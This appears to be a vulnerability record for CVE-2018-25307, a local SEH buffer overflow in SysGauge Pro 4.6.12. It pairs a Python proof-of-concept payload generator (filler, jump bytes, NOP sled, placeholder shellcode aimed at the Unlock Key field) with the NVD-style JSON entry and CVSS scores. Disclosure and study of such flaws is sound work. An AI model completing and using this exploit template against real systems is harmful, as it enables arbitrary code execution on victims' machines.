CVE-2018-25307

import sys # Vulnerable Software: SysGauge Pro 4.6.12 # Vulnerability: Local Buffer Overflow in Register Function (SEH) # Payload generation for PoC def generate_poc(): # Offset to overwrite SEH handler (Example offset, may need debugging) offset = 0x00001000 # overwrite Next SEH (pop pop ret sequence adjustment) next_seh = b"\xeb\x06\x90\x90" # overwrite SEH Handler (Address of pop pop ret instruction) # Note: Address depends on OS version and application modules (non-ASLR) seh_handler = b"\x10\x11\x12\x13" # NOP sled nop_sled = b"\x90" * 32 # Calc Shellcode (Example: MessageBoxA) # Replace with actual shellcode for execution shellcode = b"\xcc\xcc\xcc\xcc" # Construct payload payload = b"A" * offset + next_seh + seh_handler + nop_sled + shellcode # Fill remaining buffer space if necessary payload += b"C" * (5000 - len(payload)) return payload if __name__ == "__main__": buf = generate_poc() print(f"[+] PoC Generated. Length: {len(buf)}") print(f"[+] Payload: {buf}") # In a real scenario, this payload would be sent to the 'Unlock Key' input field.

{"cve": {"id": "CVE-2018-25307", "sourceIdentifier": "[email protected]", "published": "2026-04-29T20:16:26.183", "lastModified": "2026-04-30T15:44:48.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SysGauge Pro 4.6.12 contains a local buffer overflow vulnerability in the Register function that allows local attackers to overwrite the structured exception handler by supplying a crafted unlock key. Attackers can inject shellcode through the Unlock Key field during registration to execute arbitrary code with application privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/44455", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/sysgauge-pro-local-buffer-overflow-seh", "source": "[email protected]"}]}}